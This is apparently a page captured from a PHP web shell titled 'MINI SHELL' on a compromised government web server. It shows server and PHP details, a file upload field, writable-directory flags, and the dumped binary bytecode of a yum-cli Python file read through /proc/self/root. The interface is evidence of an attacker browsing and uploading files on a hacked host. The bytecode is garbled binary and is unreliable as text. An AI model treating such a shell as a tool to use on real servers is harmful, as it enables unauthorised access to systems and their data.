MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/yum-cli/pullheaders.pyc
mò
ýÉODc	@s6dkZdkZdkZdkZdkZdkZdkZdkZdkl	Z	dk
lZe	ddddddddƒZee_eei
_eei
_ei
iƒZee_eei
_ee_d	„Zd
„Zd„Zd„Zd
„Zd„Zd„ZedjoeeidƒndS(N(sLogger(t_t	thresholditdefaulttprefixtt	preprefixcCsÓt|ƒdjotiƒnh}d|d<d|d<d|d<d|d<d|d<d|d<d|d	<d|d
<g|d<y%ti|dd
dgƒ\}}Wn9tij
o*}t	dt
dƒ|ƒtiƒnXycx\|D]T\}}|ddgjotiƒqì|djo,|d
djo
dt	_
q@d|d
<qì|djod|d<qì|djod|d<qì|djod|d<qì|djod|d<qì|djod|d<qì|djod|d<qì|djod|d	<dt	_
qì|ddgjo|di|ƒqìqìWWn6tj
o*}t	dt
dƒ|ƒtiƒnXt|ƒtijo/t|ƒdjotiƒqÉ|d}n|}||fS(sYget arguments from command line, return a nice dict of cmds=args + 
       left over argsit	checkdepsit	writehdrstrpmchecktcompresstusesymlinkstdosrpmstquiettloudtexcludes
vv:qdncszlhx:thelpsOptions Error: %ss-hs--helps-vis-ds-ns-cs-zs-ls-ss-qs-xs	--excludeN(tlentargstserverStufftUsagetcmdstgetopttgoptsterrortetlogRtargtaRtappendt
ValueErrorttypettypestListTypetbasedir(RRR!RRRR((t!/usr/share/yum-cli/pullheaders.pytargParse(sj








%










cCsátdtdƒt|ƒƒg}xk|D]c}xZ|D]R}ti||ƒo9tdtdƒ|ƒ||jo|i	|ƒq‰q7q7Wq*Wx,|D]$}||jo|i
|ƒq˜q˜Wtdtdƒt|ƒƒ|S(NisPre-Trim Len: %dsexcluded: %ssPost-Trim Len: %d(RRRtrpmstbadrpmstfiletexcludeGlobstglobtfnmatchRtremove(R$R'R%R&R(((R"ttrimRpmsfs 

c	Cstddƒtddƒtddƒd}|dd}
|dd}d	}|dd}|dd}d
}|dd}	|dd}t
|ƒ\}}tiƒ}
tii|ƒptdƒGHtiƒntii|ƒptdƒGHtid
ƒnti|ƒtiddg|dƒ}t|dƒdjot||dƒ}nt|ƒdjo¿tii|ƒp$titdƒIJti|ƒnti|dgdƒ}t!|ƒ|do't"|ƒt#|dƒ}|i%ƒnt"|	ƒt#|	dƒ}|i%ƒtidƒn|doqti'|ƒ\}}|d
jo@tdƒ|GHx|D]}tdƒ|GHqrWtid
ƒq«tdƒGHn|doIt+|ƒptid
ƒnt+|ƒptid
ƒnt,|||ƒ}|dptdƒGHnt#|
dƒ}|dot#|dƒ}nx|i.ƒD]‚}|\}}}}}}||}|o*d|||||f}|i8|ƒqXd||||||f}|i8|ƒqXW|do|i%ƒn|i%ƒyti9||ƒWn7t:j
o+}tdƒ||fGHtid
ƒnXyti9||ƒWnRt:j
oF}tdƒ||fGHtd ƒGHti9||ƒtid
ƒnXti|dgdƒ}t!|ƒt"|ƒt"|ƒti<|ƒnti|
ƒdS(!Nis


THIS PROGRAM IS DEPRECATED!s.You should be generating xml metadata instead.s,Please see http://linux.duke.edu/metadata


s.newheaderst/sheader.infosheader.src.infos.oldheaderstheaderssDirectory of rpms must exists&Directory of rpms must be a directory.is./s.rpmR
RsENo rpms to work with and no header dir. Creating an empty repository.s.hdrRtwRsErrors within the dir(s):
 %ss   s3All dependencies resolved and no conflicts detectedRRs
Writing header.info files%s:%s-%s-%s.src=%s
s%s:%s-%s-%s.%s=%s
sError moving %s to %s, fatalsPutting back old headers(=Rt
tempheaderdirttempheaderinfottempsrcheaderinfotoldheaderdirt
oldheaderinfotoldsrcheaderinfot	headerdirt
headerinfot
srcheaderinfoR#RRR!tostgetcwdtcurdirtpathtexistsRRRtisdirtsystexittchdirtgetfilelistR$RR+tstderrtmakedirsthdrlisttremoveCurrentHeaderstremoveHeaderInfotopentsrcheaderfdtclosetheaderfdtdepchecktreeRtmsgstmsgtcheckandMakeDirtgenhdrstrpminfotkeystitemtnametepochtvertreltarchtsourcetrpmloctinfotwritetrenametOSErrorRtrmdir(RRJRLR3R2R1RUR!R7R6R0RXRTR:RVRMRPRHRDRRWRSRZRR5RYR$R/R4RRR((R"tmainus°
















cCsÆtii|ƒoetii|ƒptdƒ|GHd}qÂti|tiƒptdƒ|GHd}qÂd}nKyti	|ƒWn0t
j
o$}tdƒ||fGHd}nXd}|S(sKcheck out the dir and make it, if possible, return 1 if done, else return 0s%s is not a diris%s is not writableisError creating dir %s: %sN(R8R;R<tdirR=RtresulttaccesstW_OKtmkdirR]R(R`RRa((R"RNös 


cCssxl|D]d}tii|ƒo<yti|ƒWqktj
o}tdƒ|GHqkXqtdƒ|GHqWdS(s/remove the headers before building the new onessCannot delete file %ss"Odd header %s suddenly disappearedN(	RDthdrR8R;R<tunlinkR]RR(RDRRe((R"RE
scCsStii|ƒo<yti|ƒWqOtj
o}tdƒ|GHqOXndS(sremove header.info filesCannot delete %s - check permsN(R8R;R<R6RfR]RR(R6R((R"RFscCsìh}t|ƒ}d}d}d}xš|D]’}ti	i
|ƒ}
|d}|d|}	|dpj|dotdƒ|
||fGHqÐtiiddd	ƒtiid
|	|
fƒtiiƒn|do\tdtd
ƒ|
ƒtii|ƒdjo(tdtdƒ|ƒtidƒq7ntii|ƒ}|idjotdtdƒ|ƒq+|iƒ\}}}}
}|i"ƒo4|dp%|dotdƒ|GHq+q+qÐn|djo
d}n|}ti$|ƒ}|d}|d}||||
||i"ƒf}|i)|ƒo$tdtdƒ|||fƒn|i*||dƒ}ti-|||fƒ|i"ƒo|d}n|||<|d}q+W|dptdƒ|||fGHn|S(sŸ Take a list of rpms, a place to put the headers and a config dictionary.
        outputs .hdr files and returns a dict containing all the header entries.
    iiidRR
sDigesting rpm - %s - %d/%ds
t iPs"
Digesting rpms %d %% complete: %sRis
Checking sig on %ss(

Problem with gpg sig or md5sum on %s

s
ignoring bad rpm: %sRs
ignoring srpm: %st0iþÿÿÿiýÿÿÿs 
Already found tuple: %s %s:
%s R	s$
   Total: %d
   Used: %d
   Src: %dN(.RPRR$tnumrpmstgoodrpmtcurrpmtsrpmstrpmfnR8R;tbasenametrpmnametpercentRRR>tstdoutR[tflushRtrpmUtilstoldUtilstcheckSigR?tRPM_WorkthobjRetNonetnevraRSRTRURVRWtisSourceRYtstattrpmstattrpmmtimetrpmatimetrpmtupthas_keytwriteHeaderR5t	headerloctutime(R$R5RR}RlRYR|RURRpRoR~RTRVRPRkRjR‚RiRmRwRWRS((R"RO!sb





$

t__main__i(R8R>RsRtrpmRRR)t
yum.loggertLoggerti18nRRRtterrorlogtRpm_Ts_WorkttsR#R+R_RNRERFROt__name__targv(R#R+RORR8R‹R>RNRRFRR)RRsR_R…R‡RRE((R"t?s4								

!				>							?


Anon7 - 2021